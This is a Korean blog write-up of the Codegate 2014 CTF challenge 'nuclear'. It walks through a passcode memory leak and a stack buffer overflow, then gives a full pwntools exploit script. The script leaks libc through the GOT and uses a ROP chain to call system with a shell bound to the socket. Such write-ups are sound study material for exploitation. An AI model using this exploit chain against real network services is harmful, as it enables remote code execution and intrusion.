[codegate_2014] nuclear
(이 문제는 예전에 풀다가 놓고 다시 잡은 문제라서 코드나 여러 부분에서 불편함을 느끼실 수 있습니다. 양해 부탁드립니다.)
바이너리는 이렇습니다.
무슨 문제였을 지는 모르지만, 1129 포트로 소켓을 연결합니다.
start_routine 함수에서,
BOF 취약점이 발생합니다.
그래프로 따라 올라가보면,
launch 명령을 입력하고, passcode를 맞췄을 때 호출하는 함수 속에,
있는 것을 확인 할 수 있습니다.
그럼 passcode를 일단 알아내야 합니다.
passcode를 읽어서 변수에 저장하길래, 변수의 이름을 passcode로 바꿔줬습니다.
스택에는 이렇게 쌓입니다. v4, v5[4] 모두 0으로 초기화 되었습니다.
s1을 %s로 출력합니다.
“> “가 출력되고 s1을 받습니다. 0x200만큼 꽉 차게 받고, recv()로 받기 때문에 널 바이트도 들어가지 않습니다.
target 명령에서 v5, v4를 “%f/%f”로 받고 있어서 모두 값을 채워줄 수 있습니다. 즉, 널 바이트 없이 s1, v4, v5, passcode까지 연결한다면, passcode가 메모리 leak됩니다.
passcode를 leak 시키는 코드입니다. “> “를 받은 뒤, target을 입력하고 “%f/%f” 형식으로 입력합니다.
그리고 s1까지 unknown command로 꽉 채워줍니다.
passcode : th1s 1s p4ssc0d3:)
launch에 passcode를 입력하고 ROP 기법을 이용해서 쉘을 취득하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
from pwn import * import time
s = remote("localhost", 1129) e = ELF("./nuclear")
binsh = "/bin/sh>$4 <$4\x00"
ppppr = 0x0804917c
send_plt = e.plt['send'] recv_plt = e.plt['recv'] sleep_got = e.got['sleep']
sleep_offset = 0x000af040 #sleep_offset = 0x000b6040 wrong offset? #system_offset = 0x000403b0 wrong offset? system_offset = 0x0003a940
def launch(): s.sendline("launch") s.sendlineafter(": ", "th1s 1s p4ssc0d3:)") print s.recv(1024) pause()
payload = "" payload += "A"*(0x20C + 4)
payload += p32(send_plt) payload += "AAAA" payload += p32(4) payload += p32(sleep_got) payload += p32(4) payload += p32(0)
launch() s.recv(1024) s.sendline(payload)
sleep_libc = u32(s.recv(4)) libc_base = sleep_libc - sleep_offset system_libc = libc_base + system_offset
print "sleep : " + hex(sleep_libc) print "libc_base : " + hex(libc_base) print "system : " + hex(system_libc)
s.close()
##################################
s = remote("localhost", 1129)
payload2 = "" payload2 += 'A'*(0x20C + 4)
payload2 += p32(recv_plt) payload2 += p32(ppppr) payload2 += p32(4) payload2 += p32(e.bss()-8) payload2 += p32(len(binsh)) payload2 += p32(0)
payload2 += p32(system_libc) payload2 += "AAAA" payload2 += p32(e.bss()-8)
launch()
s.sendline(payload2) s.send(binsh) sleep(0.1)
##################################
s.interactive() |
/bin/sh를 소켓 fd에 넘겨주면서 쉘을 취득했습니다.
Count Down 때문에 불편하지만 쉘을 땄으니 됐죠!
'System&Write up > CTF' 카테고리의 다른 글
[OpenCTF 2016] tyro_heap (0) | 2018.02.22 |
---|---|
[Codegate 2018] BaskinRobins31 (4) | 2018.02.09 |
[HDCON 2013] luckyzzang (0) | 2018.01.30 |
[Codegate 2014] angry_doraemon (0) | 2018.01.30 |
[Codegate 2017] babypwn (0) | 2018.01.29 |